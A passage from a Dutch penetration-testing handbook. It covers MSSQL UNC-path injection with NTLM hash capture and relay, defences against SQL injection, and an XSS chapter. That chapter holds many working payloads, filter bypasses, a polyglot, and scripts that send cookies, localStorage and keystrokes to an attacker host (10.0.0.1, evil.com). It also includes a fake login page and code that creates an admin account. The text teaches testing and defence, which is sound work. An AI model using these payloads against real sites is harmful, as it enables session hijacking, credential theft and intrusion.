# Stap 2: Trigger UNC path vanuit SQL
#   (forceert NTLM auth naar aanvaller)
EXEC master..xp_dirtree '\\10.0.0.1\share'
# Alternatieven:
EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1"
# Stap 3: Crack captured NTLMv2 hash
hashcat -m 5600 captured_hash.txt wordlist.txt
# Stap 4: Als SQL service draait als domain account
#   - relay naar andere service
python3 ntlmrelayx.py -t TARGET2 -smb2support
# Tip: SQL service accounts draaien vaak
#   als domain user met hoge privileges

IB Tip: UNC path injection is vooral krachtig als de SQL Server service draait als een domein-account (wat het bijna altijd doet). Zelfs als je de hash niet kunt cracken, kun je vaak relayen. Check met xp_cmdshell 'whoami' als welk account de service draait.

Verdediging: hoe het wel moet

We hebben nu een heel hoofdstuk besteed aan het breken van dingen. Laten we even praten over het repareren ervan. Want als je na het lezen van dit alles niet een vage misselijkheid voelt over je eigen code, heb je niet goed opgelet.

1. Parameterized queries — overal, altijd, zonder uitzonderingen

Dit is de enige verdediging die ertoe doet. Al het andere is een pleister op een geamputeerd been.

Python (psycopg2 / PyMySQL):

# GOED
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# SLECHT — doe dit nooit
cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
    f" AND password = '{password}'"
)

Java (JDBC):

// GOED
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

// SLECHT
Statement s = conn.createStatement();
s.executeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"
);

PHP (PDO):

// GOED
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE username = :user
     AND password = :pass"
);
$stmt->execute([':user' => $username, ':pass' => $password]);

// SLECHT
$pdo->query(
    "SELECT * FROM users WHERE username = '$username'"
);

C# (.NET):

// GOED
using var cmd = new SqlCommand(
    "SELECT * FROM users WHERE username = @user", conn
);
cmd.Parameters.AddWithValue("@user", username);

// SLECHT
var cmd = new SqlCommand(
    $"SELECT * FROM users WHERE username = '{username}'", conn
);

Node.js (met mysql2):

// GOED
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

// SLECHT
const [rows] = await connection.query(
  `SELECT * FROM users WHERE username = '${username}'`
);

Het patroon is altijd hetzelfde: de query heeft placeholders (?, %s, :name, @name) en de waarden worden apart meegegeven. De database-driver zorgt ervoor dat de waarden als data worden behandeld, nooit als code.

2. ORM gebruiken

Object-Relational Mappers (ORMs) zoals SQLAlchemy, Hibernate, Entity Framework, en Sequelize genereren parameterized queries automatisch:

# SQLAlchemy — automatisch parameterized
user = session.query(User).filter_by(
    username=username, password=password
).first()

Maar pas op: ORMs beschermen je niet als je raw SQL gebruikt:

# Dit is WEER kwetsbaar, ook met SQLAlchemy!
session.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
)

# GOED: raw SQL met parameters in SQLAlchemy
from sqlalchemy import text
session.execute(
    text("SELECT * FROM users WHERE username = :user"),
    {"user": username}
)

3. Least Privilege

De database-gebruiker waarmee je applicatie verbindt, zou zo weinig mogelijk rechten moeten hebben:

-- Maak een beperkte gebruiker
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'sterkwachtwoord';

-- Geef alleen de rechten die nodig zijn
GRANT SELECT, INSERT, UPDATE ON shop.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop.orders TO 'webapp'@'localhost';

-- NIET dit:
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'%';
-- ^^^^ dit is het database-equivalent van je voordeur openlaten
--      met een bordje "welkom, neem wat je wilt"

Specifiek: - Geen FILE privilege (voorkomt LOAD_FILE / INTO OUTFILE) - Geen EXECUTE op system stored procedures (voorkomt xp_cmdshell) - Geen superuser/sa-rechten - Beperk tot specifieke tabellen en operaties

4. Web Application Firewall (WAF)

Een WAF is als een uitsmijter bij een club: het houdt de meeste ongewenste bezoekers tegen, maar een vastberaden aanvaller met een net pak komt er toch doorheen.

WAFs detecteren bekende SQL Injection-patronen:

# Deze payloads worden geblokkeerd door de meeste WAFs:
' OR 1=1-- -
' UNION SELECT
; DROP TABLE

# Deze misschien niet:
'/**/OR/**/1=1--/**/-
' /*!50000UNION*/ /*!50000SELECT*/
' uNiOn SeLeCt

Een WAF is een aanvullende verdedigingslaag. Het is geen vervanging voor parameterized queries. Vertrouwen op alleen een WAF is als het dragen van een kogelvrij vest terwijl je de deur van je huis open laat staan.

5. Error handling

Geef nooit database-foutmeldingen door aan de eindgebruiker:

# SLECHT
try:
    cursor.execute(query)
except Exception as e:
    return f"Database error: {e}"  # aanvaller ziet de fout!

# GOED
try:
    cursor.execute(query)
except Exception as e:
    logger.error(f"Database error: {e}")  # log intern
    return "Er is een fout opgetreden."  # generieke melding

Error-based SQL Injection bestaat alleen omdat applicaties hun foutmeldingen tonen. Stop daarmee en een hele klasse aanvallen verdwijnt.

6. Input validatie (als extra laag)

Input validatie is niet je primaire verdediging (dat zijn parameterized queries), maar het is een nuttige extra laag:

import re

def validate_product_id(product_id: str) -> bool:
    """Product ID moet een geheel getal zijn."""
    return bool(re.match(r'^\d+$', product_id))

def validate_sort_column(column: str) -> str:
    """Alleen toegestane kolomnamen voor ORDER BY."""
    allowed = {'name', 'price', 'date', 'rating'}
    if column not in allowed:
        return 'name'  # default
    return column

Let op dat ORDER BY niet geparameteriseerd kan worden (het is een identifier, geen waarde). Gebruik daarvoor een allowlist.

De ongemakkelijke waarheid

Laten we even eerlijk zijn. Het is 2026. SQL Injection is ontdekt in 1998. De eerste grote SQLi-aanval was in 2008 (Heartland Payment Systems, 130 miljoen creditcards). Bobby Tables — de XKCD-strip die SQL Injection uitlegt — is van 2007. Dat is bijna twintig jaar geleden.

En toch. Toch zijn er op dit moment bedrijven die applicaties in productie draaien met code als:

query = "SELECT * FROM users WHERE id = " + request.args.get('id')

Geen parameterized queries. Geen input validatie. Geen WAF. Niets. Nada.

Dit zijn geen startups van twee studenten in een garage. Dit zijn bedrijven met budgetten, met “security teams”, met ISO-certificeringen aan de muur en een CISO die presentaties geeft op conferenties over “het belang van security by design.”

En ergens in de kelder van dat gebouw draait een PHP 5.6-applicatie uit 2009 die de boekhouding doet en die niemand durft aan te raken omdat “hij werkt en er is geen documentatie.” En die applicatie concateneert strings. In 2026. Met directe toegang tot de productiedatabase. Die ook de salarissen bevat.

Dat is geen fout meer. Dat is een keuze. Het is de keuze om de achterdeur open te laten staan en er vervolgens verbaasd over te zijn dat er iemand binnenkomt. Het is de keuze om een rookmelder te kopen, de batterij er niet in te doen, en vervolgens het rookmelderbedrijf aan te klagen als het huis afbrandt.

De patch bestaat. Al meer dan twintig jaar. Het is een enkele regel code. cursor.execute(query, params) in plaats van cursor.execute(f"...{user_input}..."). Het kost vijf minuten om te implementeren. En bedrijven kiezen ervoor om het niet te doen.

Want weet je wat duurder is dan parameterized queries implementeren? Alles behalve parameterized queries implementeren. De pentest die de SQLi vindt. De incident response als het misgaat. De juridische kosten. De boete van de Autoriteit Persoonsgegevens. De PR-kosten om uit te leggen waarom de wachtwoorden van 2 miljoen klanten op Pastebin staan.

Maar die vijf minuten om die ene regel code te veranderen? Nee. Daar is geen budget voor. Dat staat niet in de sprint planning. Dat heeft geen prioriteit.

Incompetent bastards, inderdaad.

IB Command File referentietabel

Hieronder een overzicht van alle command files die in dit hoofdstuk zijn behandeld, met hun locatie in het IB-project en hun functie.

Escalatiepad-overzicht

Het volgende schema toont hoe een SQL Injection-kwetsbaarheid kan escaleren van een eenvoudige data-lekkage naar volledige server- en domeincontrole:

SQL Injection gevonden
    |
    +-- Data extractie (UNION / Error / Blind)
    |       |
    |       +-- Gebruikers + wachtwoord-hashes
    |       +-- Configuratiebestanden (database credentials)
    |       +-- Andere databases op dezelfde server
    |
    +-- File read (LOAD_FILE / pg_read_file)
    |       |
    |       +-- /etc/passwd, /etc/shadow
    |       +-- Applicatie-configuratie
    |       +-- SSH-keys, API-tokens
    |
    +-- File write (INTO OUTFILE / lo_export)
    |       |
    |       +-- Webshell plaatsen
    |               |
    |               +-- Remote Code Execution
    |
    +-- Native RCE
    |       |
    |       +-- MSSQL: xp_cmdshell
    |       +-- PostgreSQL: COPY FROM PROGRAM
    |       +-- MySQL: UDF (lib_mysqludf_sys)
    |               |
    |               +-- Reverse shell
    |                       |
    |                       +-- Post-exploitation
    |
    +-- MSSQL specifiek
            |
            +-- Linked server crawling
            |       |
            |       +-- Laterale beweging naar andere SQL servers
            |       +-- Privilege escalation via SA-links
            |
            +-- UNC path injection
                    |
                    +-- NTLMv2 hash capture
                    +-- Hash cracking (hashcat)
                    +-- NTLM relay naar andere services
                            |
                            +-- Domain escalation

Cheat sheet: SQL Injection per database

MySQL / MariaDB

PostgreSQL

MSSQL

Oracle

Verder lezen

• OWASP Testing Guide - SQL Injection sectie
• PortSwigger Web Security Academy - SQL Injection labs (gratis)
• sqlmap documentatie - https://sqlmap.org
• PowerUpSQL - https://github.com/NetSPI/PowerUpSQL
• PayloadsAllTheThings - SQL Injection cheatsheets
• HackTricks - SQL Injection sectie

IB Tip: De beste manier om SQL Injection te leren is door het te doen. Zet de IB-applicatie op, open het SQLi-lab, en werk door de command files heen. Begin met UNION-based (het meest zichtbare resultaat), ga dan naar error-based, en bewaar blind voor als je masochistische neigingen hebt. sqlmap is je vangnet — leer het handmatig, automatiseer het daarna.

Cross-Site Scripting (XSS)

Waarin we ontdekken dat een taal die in tien dagen werd geschreven nu de sleutel tot het koninkrijk bewaakt, en hoe fluisterende scripts op drukke feesten de boel op stelten zetten.

4.1 De taal die niemand serieus nam

In mei 1995, terwijl de rest van de wereld zich druk maakte over Windows 95 en de vraag of het internet een rage was die wel zou overwaaien, zat een man genaamd Brendan Eich bij Netscape tien dagen lang als een bezetene te programmeren. Het resultaat was een scripttaal die aanvankelijk Mocha heette, daarna LiveScript, en uiteindelijk JavaScript – niet omdat het iets met Java te maken had, maar omdat de marketing- afdeling dacht dat de naam wel lekker zou verkopen.

Tien dagen. Laat dat even bezinken.

De meeste mensen hebben tien dagen nodig om een IKEA-kast in elkaar te zetten. Of om te beslissen welke kleur ze de badkamer willen verven. Brendan Eich bouwde in die tijd een programmeertaal die nu letterlijk het zenuwstelsel is van elke website die je bezoekt. Elke knop waar je op klikt, elk formulier dat je invult, elke animatie die je irriteert – het draait allemaal op die haastige, wanhopige tien dagen code.

En hier wordt het interessant: die taal, geboren in haast en opgegroeid in chaos, is nu verantwoordelijk voor het verwerken van je bankgegevens, je medische dossiers, je belastingaangiftes. Het is alsof je ontdekt dat het vliegtuig waar je in zit is ontworpen door iemand die er een lang weekend voor had.

Cross-Site Scripting – XSS voor vrienden – is wat er gebeurt wanneer een aanvaller erin slaagt om zijn eigen JavaScript-code uit te voeren in de browser van iemand anders. Stel je het zo voor: je bent op een druk feest. Iedereen praat door elkaar heen. En dan slaagt iemand erin om de barman ervan te overtuigen dat jij hebt gezegd dat hij al je drankjes op jouw rekening moet zetten. De barman gelooft het, want het kwam via het juiste kanaal – via de website die je vertrouwt.

Dat is XSS in een notendop. De website vertrouwt de input. De browser vertrouwt de website. En de gebruiker vertrouwt de browser. Het is een drietrapsraket van misplaatst vertrouwen.

IB Tip: XSS staat al jaren in de OWASP Top 10 en is een van de meest voorkomende kwetsbaarheden op het web. Het feit dat het zo vaak voorkomt na meer dan twintig jaar is eigenlijk een beschamende zaak voor de hele industrie.

4.2 De drie smaken van ellende: typen XSS

XSS komt in drie varianten, zoals een onprettig assortiment bonbons waar je niet om hebt gevraagd. Elke variant heeft zijn eigen karakter, zijn eigen methode van overleven, en zijn eigen manier om je dag te verpesten.

4.2.1 Reflected XSS – de echo-aanval

Reflected XSS is de eenvoudigste vorm, en tegelijkertijd de meest alomtegenwoordige. Het werkt als volgt: een aanvaller stopt kwaadaardige code in een URL, stuurt die URL naar het slachtoffer, en de server stuurt de code braaf terug als onderdeel van de pagina.

Stel je een zoekfunctie voor. Je zoekt naar “katten” en de pagina zegt: “Je zocht naar: katten.” Prachtig. Maar wat als je zoekt naar iets anders?

https://example.com/zoek?q=<script>alert('XSS')</script>

En de server antwoordt met:

<p>Je zocht naar: <script>alert('XSS')</script></p>

De browser ziet het <script>-element, haalt zijn schouders op, en voert het uit. Zo hoort het immers. De server zei dat het moest. Wie is de browser om te twijfelen?

Het “reflected” deel van de naam verwijst naar het feit dat de payload wordt weerkaatst door de server – als een tennisbal die je tegen een muur gooit. De aanvaller gooit, de server kaatst, en de browser van het slachtoffer vangt. Alleen is het geen tennisbal maar een granaat.

De truc is dat het slachtoffer op een link moet klikken. Dat klinkt als een obstakel, maar mensen klikken overal op. We klikken op links in e-mails van “banken” die we niet hebben. We klikken op links die beloven dat we de vijfhonderdste bezoeker zijn. We klikken op links omdat het dinsdag is en we ons vervelen.

Voorbeeld – reflected XSS in een zoekparameter:

<!-- Server-side template die input niet encodeert -->
<h2>Zoekresultaten voor: <?= $_GET['q'] ?></h2>

GET /zoek?q=<img src=x onerror=alert(document.cookie)> HTTP/1.1
Host: kwetsbare-site.nl

De response bevat dan:

<h2>Zoekresultaten voor: <img src=x onerror=alert(document.cookie)></h2>

De browser probeert braaf een afbeelding te laden van x, dat mislukt (vanzelf- sprekend), de onerror handler vuurt, en plots zie je je cookies op het scherm.

Context is allesbepalend. Dezelfde payload werkt compleet anders afhankelijk van waar de input terechtkomt in de HTML. In een HTML-element context heb je andere escape-karakters nodig dan in een attribuut of in een JavaScript-string. Dit is een punt waar veel ontwikkelaars de mist in gaan: ze encoderen voor de verkeerde context, of ze denken dat encoding in een context ook werkt in een andere.

<!-- HTML context: < en > moeten geencodeerd -->
<p>Hallo <?= htmlspecialchars($naam) ?></p>

<!-- Attribuut context: " moet geencodeerd -->
<input value="<?= htmlspecialchars($naam, ENT_QUOTES) ?>">

<!-- JavaScript context: heel andere encoding nodig -->
<script>var naam = "<?= $naam ?>";</script>
<!-- ^ GEVAARLIJK als $naam = "; alert(1);// -->

4.2.2 Stored XSS – de sluipmoordenaar

Als reflected XSS een briefbom is, dan is stored XSS een landmijn. De payload wordt opgeslagen op de server – in een database, een bestand, een logboek – en elke keer dat iemand de pagina bezoekt, gaat het ding af.

Denk aan een gastenboek, een forum, een beoordelingssectie. De aanvaller plaatst een bericht:

Geweldige service! ★★★★★
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Het bericht wordt opgeslagen. De volgende keer dat iemand de beoordelingspagina bezoekt – de eigenaar van de site, een willekeurige klant, maakt niet uit – voert hun browser het script uit. Zonder dat ze op een link hoefden te klikken. Zonder dat ze iets verdachts deden. Ze bezochten gewoon een webpagina.

De impact van stored XSS is exponentieel groter dan reflected XSS. Een stored XSS op een populaire pagina kan duizenden gebruikers raken. Het is het verschil tussen een sniper die een voor een schiet en een landmijn die iedereen raakt die er overheen loopt.

Voorbeeld – stored XSS in een commentaarveld:

// Aanvaller plaatst dit als "reactie":
Goede post!<script>
  var img = new Image();
  img.src = "https://evil.com/log?cookie=" + document.cookie;
</script>

# Server-side: sla op zonder sanitization
@app.route('/comment', methods=['POST'])
def add_comment():
    comment = request.form['comment']
    db.session.add(Comment(text=comment))  # Geen filtering!
    db.session.commit()
    return redirect('/post/1')

<!-- Template: toon zonder encoding -->
{% for comment in comments %}
  <div class="comment">{{ comment.text | safe }}</div>
  <!-- Die | safe filter is hier het probleem -->
{% endfor %}

Elke bezoeker van /post/1 stuurt nu onbewust zijn cookies naar evil.com.

IB Tip: Bij een pentest is stored XSS altijd een grotere bevinding dan reflected XSS. De reden is simpel: het slachtoffer hoeft niks te doen behalve de pagina bezoeken. Er is geen phishing-link nodig, geen social engineering. De kwetsbaarheid wacht geduldig op zijn slachtoffers.

4.2.3 DOM-based XSS – de onzichtbare

DOM-based XSS is de derde variant, en in sommige opzichten de meest verraderlijke. Bij reflected en stored XSS gaat de kwaadaardige input via de server. Bij DOM-based XSS komt de server er niet eens aan te pas. Het gebeurt volledig in de browser, in het Document Object Model – die boomstructuur waar JavaScript zo dol op is.

De kwetsbaarheid ontstaat wanneer JavaScript een waarde leest uit een bron die de aanvaller controleert (een “source”) en die waarde doorgeeft aan een functie die code kan uitvoeren (een “sink”).

Veelvoorkomende sources:

Veelvoorkomende sinks:

Voorbeeld – DOM-based XSS via location.hash:

<div id="welkom"></div>
<script>
  // Lees de naam uit de URL hash
  var naam = decodeURIComponent(location.hash.substring(1));
  document.getElementById('welkom').innerHTML = 'Welkom, ' + naam;
</script>

Bezoek nu:

https://example.com/pagina#<img src=x onerror=alert(1)>

Het fragment na # wordt nooit naar de server gestuurd. De server logt niks. Een WAF ziet niks. Het gebeurt allemaal in de browser, in stilte, als een dief die door het raam klimt terwijl de beveiliger aan de voordeur staat.

Dit maakt DOM-based XSS bijzonder lastig om te detecteren. Server-side logging helpt niet. Web Application Firewalls die alleen het verkeer inspecteren, missen het volledig. Je hebt client-side analyse nodig, of een ontwikkelaar die daad- werkelijk nadenkt over hoe data door de DOM stroomt.

Een realistischer voorbeeld – DOM XSS via postMessage:

// Pagina luistert naar postMessage events
window.addEventListener('message', function(event) {
  // GEEN origin check! Iedereen mag een bericht sturen.
  document.getElementById('notificatie').innerHTML = event.data;
});

<!-- Aanvaller's pagina -->
<iframe src="https://kwetsbare-site.nl/dashboard" id="target"></iframe>
<script>
  // Wacht tot iframe geladen is, stuur dan payload
  document.getElementById('target').onload = function() {
    this.contentWindow.postMessage(
      '<img src=x onerror=alert(document.cookie)>',
      '*'
    );
  };
</script>

IB Tip: Bij het testen op DOM-based XSS is de browser DevTools console je beste vriend. Zoek naar innerHTML, document.write, en eval in de JavaScript-bestanden. Tools als Burp Suite’s DOM Invader kunnen ook helpen bij het automatisch identificeren van source-sink combinaties.

4.3 Payloads en context: het juiste gereedschap voor de juiste klus

Nu we de drie typen kennen, wordt het tijd om te praten over het echte handwerk: de payloads. Want XSS is contextgevoelig. Dezelfde payload die werkt in de ene situatie doet helemaal niks in een andere. Het is als proberen een schroef in te draaien met een hamer – technisch gezien gebruik je gereedschap, maar je bereikt er niks mee.

4.3.1 HTML context

Dit is de meest voorkomende situatie: je input belandt direct in de HTML-body, tussen tags.

<p>Welkom, AANVALLER_INPUT</p>

Hier zijn de klassieke payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

De <script>-tag is de meest voor de hand liggende, maar ook de meest gefilterde. Veel ontwikkelaars denken: “Als ik <script> blokkeer, ben ik veilig.” Dat is net zoiets als denken dat je veilig bent voor inbrekers als je de voordeur op slot doet terwijl alle ramen open staan.

Er zijn honderden HTML-elementen met event handlers. Je hoeft er maar een te vinden die niet gefilterd is:

<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Het <img src=x onerror=...> patroon is bijzonder populair omdat het geen gebruikersinteractie vereist. De browser probeert de afbeelding te laden, faalt, en vuurt het onerror event. Automatisch. Betrouwbaar. Elke keer.

4.3.2 Attribuut context

Soms belandt je input in een HTML-attribuut:

<input type="text" value="AANVALLER_INPUT">

Hier moet je eerst uit het attribuut breken:

" onfocus="alert(1)" autofocus="

Wat resulteert in:

<input type="text" value="" onfocus="alert(1)" autofocus="">

Of je breekt uit de hele tag:

"><script>alert(1)</script>

<input type="text" value=""><script>alert(1)</script>">

Als dubbele aanhalingstekens gefilterd zijn, probeer dan enkele:

' onfocus='alert(1)' autofocus='

Of als beide gefilterd zijn maar de context het toelaat, event handlers zonder aanhalingstekens:

x onfocus=alert(1) autofocus

4.3.3 JavaScript context

Dit is waar het echt lastig wordt. Je input zit in een JavaScript-string:

<script>
  var zoekterm = "AANVALLER_INPUT";
  // doe iets met zoekterm
</script>

Hier hoef je geen nieuwe tag te injecteren. Je moet alleen uit de string breken:

"; alert(1); //

Resultaat:

<script>
  var zoekterm = ""; alert(1); //";
  // doe iets met zoekterm
</script>

De // aan het einde maakt de rest een comment, zodat de syntax geldig blijft.

Als de ontwikkelaar aanhalingstekens escaped met een backslash (\"), kun je proberen om de backslash zelf te escapen:

\"; alert(1); //

Dit produceert:

<script>
  var zoekterm = "\\"; alert(1); //";
</script>

De \\ is nu een escaped backslash, niet een escaped aanhalingsteken. De string eindigt bij het tweede ", en je code wordt uitgevoerd.

Als je in een template literal zit (backticks), gebruik dan:

${alert(1)}

var bericht = `Welkom, ${alert(1)}`;

4.3.4 URL context

Input die in een href of src attribuut belandt:

<a href="AANVALLER_INPUT">Klik hier</a>

Hier kun je het javascript: protocol gebruiken:

javascript:alert(1)

<a href="javascript:alert(1)">Klik hier</a>

Sommige filters blokkeren javascript: maar vergeten variaties:

javascript:alert(1)
JaVaScRiPt:alert(1)
java%0ascript:alert(1)

Die laatste gebruikt een URL-geencodeerde newline (%0a) om het keyword te splitsen.

4.3.5 Filter bypass technieken

En hier komen we bij het kat-en-muisspel dat security zo fascinerend maakt. De verdedigers bouwen filters, de aanvallers omzeilen ze. Het is een wapenwedloop die al twintig jaar bezig is en die de verdedigers consequent verliezen.

Case variation:

<ScRiPt>alert(1)</sCrIpT>

HTML is case-insensitive. JavaScript is dat niet, maar de tag-parser wel. Als het filter zoekt naar <script> maar niet naar <ScRiPt>, heb je een probleem.

Geneste tags (double encoding):

<scr<script>ipt>alert(1)</scr</script>ipt>

Als het filter de binnenste <script> verwijdert, blijft de buitenste over.

HTML entity encoding:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

Dat is alert(1) in HTML character references. De browser decodeert ze voordat JavaScript ze verwerkt.

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

De eerste gebruikt template literal syntax in plaats van haakjes. De tweede overschrijft de globale error handler en gooit dan een error.

Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>

Of dynamisch:

<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

Dit is de meest krachtige variant: je hoeft niet je hele payload in de injectie te proppen. Je laadt gewoon een extern script dat zo lang en complex kan zijn als je wilt.

De polyglot – het Zwitsers zakmes:

Een polyglot is een payload die werkt in meerdere contexten tegelijk:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//
%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>

Dit monster is ontworpen om te werken ongeacht de HTML-context waarin het belandt. Het is lelijk, het is onleesbaar, en het werkt vaker dan je zou willen.

IB Tip: Gebruik Burp Intruder met een XSS polyglot wordlist voor fuzzing. Begin met de simpele payloads en werk naar boven. Vaak is <img src=x onerror=alert(1)> genoeg – ontwikkelaars vergeten event handlers veel vaker dan <script> tags.

4.4 IB Command: web_xss_payloads

Incompetent Bastard bevat een verzameling bewezen XSS-payloads in het command bestand web_xss_payloads. Dit is je spiekbriefje tijdens een assessment – geordend van basis tot geavanceerd.

# Bestandslocatie:
# http/commands/web_xss_payloads

Basis payloads – de eerste test:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

Begin hier. Als een van deze werkt, heb je een triviale XSS gevonden en mag de ontwikkelaar zich schamen.

innerHTML bypass:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>

Belangrijk detail: <script> tags die via innerHTML worden ingevoegd, worden niet uitgevoerd. Dat is een bewuste beperking van de HTML-specificatie. Maar event handlers op andere elementen werken wel prima. De specificatie is hier dus selectief beschermend – een beetje zoals een uitsmijter die messentrekt controleert maar pistolen laat passeren.

Event handlers – de oneindige lijst:

<div onmouseover="alert(1)">hover me</div>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Er zijn tientallen event handlers in HTML. onerror, onload, onfocus, onblur, onmouseover, onmouseout, onclick, onchange, oninput, ontoggle, onstart – de lijst gaat maar door. Elk element dat een event handler ondersteunt is een potentiele XSS-vector.

Tag en keyword bypass:

<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert`1`>

Encoding bypass:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
javascript:alert(1)

Zonder haakjes:

<img src=x onerror=alert`1`>
<img src=x onerror="window.onerror=alert;throw 1">

Extern script laden:

<script src="http://10.0.0.1/xss.js"></script>
<img src=x onerror="s=document.createElement('script');
  s.src='http://10.0.0.1/xss.js';
  document.body.appendChild(s)">

De vuistregel is: begin simpel, ga complexer als het nodig is. Als <script> alert(1)</script> niet werkt, probeer dan variaties. Als alle standaard-tags geblokkeerd zijn, probeer dan encoding. En als je echt niks vindt, gebruik dan een fuzzer met een volledige payload-lijst.

IB Tip: De web_xss_payloads commandfile is bedoeld als startpunt, niet als uitputtende lijst. De echte waarde zit in het begrijpen waarom elke payload werkt – welke filter omzeilt hij, welke context exploiteert hij. Gebruik het als referentie, niet als een blinde kopieermachine.

4.5 Cookie stealing: het kroonjuweel

Oké, we kunnen alert(1) laten zien. Heel indrukwekkend. De klant zegt: “Ja, en? Er verscheen een pop-up. Wat is het echte risico?”

Het echte risico is session hijacking. En dat begint bij cookies.

Cookies zijn die kleine stukjes data die websites in je browser opslaan om je te “onthouden.” Je session cookie is het bewijs dat je bent ingelogd. Als iemand die cookie heeft, kan hij doen alsof hij jij is. Zonder wachtwoord. Zonder twee- factorauthenticatie. Gewoon door de cookie in zijn eigen browser te plakken.

4.5.1 De klassieke methode: document.cookie

new Image().src = "http://10.0.0.1/steal?c=" + document.cookie;

Dat is het. Een regel. Die ene regel kan een bedrijf op zijn knieen brengen.

Het werkt zo: JavaScript maakt een nieuw Image object aan. De browser probeert de “afbeelding” te laden van de URL, die de cookies als parameter meestuurt. De server van de aanvaller ontvangt het verzoek en slaat de cookies op. Het slachtoffer merkt niks – er is geen pop-up, geen redirect, geen enkele visuele indicatie dat er iets mis is.

Alternatief met fetch:

fetch("http://10.0.0.1/steal?c=" + document.cookie);

Modernere syntax, zelfde effect. De fetch API stuurt een HTTP-verzoek naar de server van de aanvaller.

4.5.2 Meer dan cookies: de complete plundering

Maar waarom stoppen bij cookies? Als je JavaScript kunt uitvoeren in iemands browser, kun je alles stelen wat de browser kan zien.

localStorage en sessionStorage:

fetch("http://10.0.0.1/steal?ls=" +
  encodeURIComponent(JSON.stringify(localStorage)));

fetch("http://10.0.0.1/steal?ss=" +
  encodeURIComponent(JSON.stringify(sessionStorage)));

Veel moderne applicaties slaan tokens, gebruikersgegevens, en andere gevoelige data op in localStorage. In tegenstelling tot cookies worden deze niet automatisch meegestuurd met HTTP-verzoeken, maar ze zijn wel volledig toegankelijk via JavaScript. En hier is het pijnlijke: HttpOnly – de vlag die cookies beschermt tegen JavaScript-toegang – bestaat niet voor localStorage.

Keylogger:

document.addEventListener('keydown', function(e) {
  new Image().src = "http://10.0.0.1/log?k=" + e.key;
});

Elke toetsaanslag die het slachtoffer maakt op de geinfecteerde pagina wordt verzonden naar de aanvaller. Wachtwoorden. Creditcardnummers. Persoonlijke berichten. Alles.

Credential phishing – de pagina vervangen:

document.getElementsByTagName("html")[0].innerHTML =
  '<h1>Sessie verlopen</h1>' +
  '<form action="http://10.0.0.1/phish" method="POST">' +
  '<input name="user" placeholder="Username">' +
  '<input name="pass" type="password" placeholder="Password">' +
  '<button>Login</button></form>';

De hele pagina wordt vervangen door een nep-loginformulier. De URL-balk toont nog steeds de originele, vertrouwde domeinnaam. Het slachtoffer ziet een “sessie verlopen” melding en voert argeloos zijn credentials in. Die gaan rechtstreeks naar de aanvaller.

CSRF via XSS – acties uitvoeren als het slachtoffer:

fetch("/admin/adduser", {
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "username=hacker&password=hacked&role=admin",
  credentials: "include"
});

XSS plus CSRF is een dodelijke combinatie. De credentials: "include" zorgt ervoor dat de cookies van het slachtoffer worden meegestuurd. De server denkt dat het slachtoffer zelf het verzoek stuurt. Er wordt een admin-account aangemaakt. Game over.

Authenticated content scraping:

var i = document.createElement('iframe');
i.src = '/admin/secret';
i.onload = function() {
  fetch("http://10.0.0.1/exfil", {
    method: "POST",
    body: i.contentDocument.body.innerHTML
  });
};
document.body.appendChild(i);

Dit laadt een pagina die het slachtoffer mag zien (bijvoorbeeld een admin-pagina) in een onzichtbaar iframe, en stuurt de inhoud naar de aanvaller. Het slachtoffer merkt niks – het iframe is onzichtbaar en het laden gebeurt op de achtergrond.

IB Tip: Als HttpOnly is gezet op de session cookie, kun je die niet stelen via document.cookie. Maar dat betekent niet dat XSS onbruikbaar is. Je kunt nog steeds CSRF-aanvallen uitvoeren, credentials phishen, localStorage stelen, en keyloggen. HttpOnly is een laag verdediging, niet de hele verdediging.

4.6 IB Command: web_xss_steal

Het web_xss_steal command bestand bundelt alle bovengenoemde exfiltratie-payloads in een handig overzicht. Dit is wat je pakt als de klant vraagt: “Maar wat kan een aanvaller echt doen met XSS?”

# Bestandslocatie:
# http/commands/web_xss_steal

Het bestand bevat payloads voor:

1. Cookie stealing – de klassieke new Image().src en fetch() methoden
2. localStorage/sessionStorage – voor applicaties die tokens client-side opslaan
3. Keylogging – elke toetsaanslag vastleggen
4. Credential phishing – de pagina vervangen met een nep-loginformulier
5. CSRF via XSS – acties uitvoeren namens het slachtoffer
